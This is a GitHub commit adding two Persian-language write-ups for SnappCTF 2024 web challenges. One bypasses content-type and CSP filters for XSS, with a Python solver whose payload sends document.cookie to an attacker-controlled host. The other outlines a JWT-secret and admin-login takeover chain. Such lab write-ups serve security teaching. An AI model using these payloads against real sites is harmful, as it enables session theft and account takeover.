Skip to content

Commit

Permalink
seprating snapp-ctf web writeups (#12)
Browse files Browse the repository at this point in the history
* seprating web writeups

* fixup typeo
  • Loading branch information
carrot303 authored Feb 25, 2024
1 parent 63746af commit 472d985
Show file tree
Hide file tree
Showing 7 changed files with 425 additions and 303 deletions.
File renamed without changes.
123 changes: 123 additions & 0 deletions docs/web/writeups/SnappCTF/b64.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,123 @@
---
tags:
- Snapp CTF
- SnappCTF-2024
- XSS
- CSP
- Web
- X-Content-Type-Options
- Content-Type
---

<h1 dir="ltr">Snapp cat</h1>

<center>

![b64.png](./b64.png)

</center>

## توضیح حل چالش

کد سرور توی این سوال به ما داده شده و ما میتونیم اونو دانلود کنیم:
```js
#!/usr/bin/env node
const express = require('express')

const app = express()

app.get('/',(req,res)=>{
let ct = (req.query.ct || 'ct').toString()
let buf = Buffer.from(((req.query.buf || btoa('?buf=base64str')).toString()),'base64')
if(!/^[a-z/]+$/.test(ct) || /htm|javascript/i.test(ct)){
return res.send('na')
}

if(/<[a-z]/i.test(buf)){
return res.send('na')
}
res.setHeader('Content-Type',ct)
res.setHeader('X-Content-Type-Options','nosniff')
res.setHeader('Content-Security-Policy',`default-src 'self';`)
res.send(buf)
})

app.listen(8000)
```

همون طور که میبینین سرور از ما دوتا پارامتر (ct, buf) میگیره که ct همون content-type هستش و buf محتوایی هستش که سرور به ما برمیگردونه

قبل از اینکه سرور به ما دیتایی که داریم رو برگردونه ، یک سری ولیدیشن انجام میده مثلا ما نمیتونم از content type (text/html, text/javascript) استفاده کنیم و همینطور توی دیتایی که به عنوان buf بهش میدیم هم نمیتونیم از تگ های html استفاده کنیم

ولی بعد از چند تست و بررسی های content type هایی که میتونیم روش کد جاوااسکریپت اجرا کنیم با این ها مواجه شدم:

```
text/html
application/xhtml+xml
application/xml
text/xml
image/svg+xml
text/xsl
```

و تنها content type هایی که میتونیم استفاده کنیم: text/xml, text/xsl هستش که اینجا من از text/xml استفاده کردم

ولی یه مشکلی بود ، اینکه ما نمیتونیم از تگی استفاده کنیم که حرف اولش بین a-z | A-Z باشه. ولی بعد از سرچ زدن درباره xml متوجه شدم که ما میتونیم از _ (underline) استفاده کنیم به عنوان اسم تگ

پس payload ام شد این:

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<_:script xmlns:_="http://www.w3.org/1999/xhtml">XSS</_:script>
```

ولی یه مشکلی بود که اصلا حواسم بهش نبود و اون هم content-security-policy بود که نمیزاشت ما از unsafe-inline استفاده کنیم و تنها کاری که میتونستیم اینجا بکنیم این بود که بیایم یک کد جاوااسکریپت از همین origin لوید کنیم

و خب این کار هم میشد با این حرکت انجام داد:

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<_:script xmlns:_="http://www.w3.org/1999/xhtml" src="?buf=XSS"></_:script>
```

ولی باز هم یک مشکل بود که اون هدر X-Content-Type-Options بود. توی توضیحات این هدر تو سایت [MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options) گفته شده که اگه ریکویستی که ما میزنیم ، content type اش با محتوایی که قراره لوید بشه فرق داشته باشه ریکویست بلاک میشه

برای مثال فرض کنین ما content-type رو بزاریم text/css ولی محتوایی که مرورگر لوید میکنه جاوااسکریپت باشه ، که توی این شرایط ریکویست ما بلافاصله بلاک میشه

خب ما نمیتونیم از text/javascript استفاده کنیم چون که قبلش چک میکنه که javascript توی ct نباشه ولی میتونیم از application/ecmascript استفاده کنیم و اینطوری میتونیم x-content-type-options رو دور بزنیم و XSS بگیریم

و در نهایت پیلود ما میشه:
```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<_:script xmlns:_="http://www.w3.org/1999/xhtml" src="?buf=XSS?ct=application/ecmascript"></_:script>
```

برای حل این سوال میتونین از کد زیر استفاده کنین

```python
import requests
import base64
import sys
import html

url = 'https://b64.spchallenge.ir/'

xss_pay = """window.location='https://REDACTED?flag=' + document.cookie"""
pa = "?buf=%s&ct=%s" % (base64.b64encode(xss_pay.encode()).decode(), "application/ecmascript")
p = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<_:script xmlns:_="http://www.w3.org/1999/xhtml" src="%s"></_:script>""" % html.escape(pa)


buffer, ct = base64.b64encode(p.encode()).decode(), "text/xml"
d = requests.get(url, params={'buf':buffer, 'ct': ct})
print(d.url)
```

به جای REDACTED از آدرس سرور خودتون استفاده کنین و بعد از اجرای کد بالا بهتون یه آدرس میده که اون رو میتونین بدین به بات تا فلگ رو براتون بفرسته

??? success "FLAG :triangular_flag_on_post:"
<div dir="ltr">`SNAPP{9a952b93a0f0ad23304547c4de2025fb}`</div>


!!! نویسنده
[amir303](https://x.com/amir3O3)$~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~$تاریخ نگارش ۱۴۰۲/۱۲/۰۵
78 changes: 78 additions & 0 deletions docs/web/writeups/SnappCTF/snappcat.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
---
tags:
- Snapp CTF
- SnappCTF-2024
- Swagger
- JWT
- Web
- sha256
---

<h1 dir="ltr">Snapp cat</h1>

<center>

![snappcat.png](./snappcat.png)

</center>

# قدم های حل چالش:
1. ثبت نام یک کاربر رندوم
2. دریافت کد sha256 برای لاگین کردن
3. کرک کردن کد sha256 برای لاگین شدن
4. جنریت کردن کد برای وریفای کردن ایمیل
5. گرفتن کد وریفای ایمیل در کوکی
7. گرفتن شماره تلفن ادمین
8. فراید لاگین به وسیله شماره تلفن ادمین
9. ساختن یه گربه!
10. خوندن کد js سرور
11. دریافت کد سکرت json-web-token و ست کردن کوکی برای گرفتن فلگ


برای حل این سوال من یک اسکریپت پایتون آماده کردم که میتونین از روی اون سوال رو حل کنین و بررسی کنین که چه اتفاقی میوفته

- [snappcat.py](../../../uploads/snappcat.py){:download="snappcat.py"}

بعد از دانلود فایل پایتون:

```sh
$ python3 snappcat.py
[+] registering with 2af8ba4edba03309:
[+] response: {'success': True}
[+] logging in with 2af8ba4edba03309
[+] resposne: {'success': True}
[+] login with phone: +987714270933
[+] response: 200
[+] crack the code for sha256:04dc6d4a58836dce23191b5025d392f911a58c61452c580f79c9ec53f86b1ee6
[+] code cracked: 3189328
[+] send code
[+] login-with-phone-callback response: {'sucess': True}
[+] send verification email
[+] response: 200
[+] verify account
[+] response: 200
[+] login with phone: +133731333717
[+] response: 200
[+] crack the code for sha256:98fbf94b5485944c2325c846ec6234b6b7008c62dd2d17728b77ebef038ab5bd
[+] code cracked: 7494977
[+] send code
[+] login-with-phone-callback response: {'sucess': True}
[+] whoami?: {'data': {'userId': 1}, 'success': True}
[+] create cat
[+] cat created with id: 62fd96ac-d0fe-4632-b7be-d2e873471acc
[+] display and get created cat
----------------------------------------------------------------------------------------------------
JWT SECRET: omidvaram-to-ke-ino-mibini-developer-website-bashi-fd29293cdeaf70dc67b420e73a37e172
----------------------------------------------------------------------------------------------------
[+] update jwt session
[+] reading flag xd
FLAG: SNAPP{7dc998269394314896af6378f15c2c12}
```


??? success "FLAG :triangular_flag_on_post:"
<div dir="ltr">`SNAPP{7dc998269394314896af6378f15c2c12}`</div>


!!! نویسنده
[amir303](https://x.com/amir3O3)$~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~$تاریخ نگارش ۱۴۰۲/۱۲/۰۵
Loading

0 comments on commit 472d985

Please sign in to comment.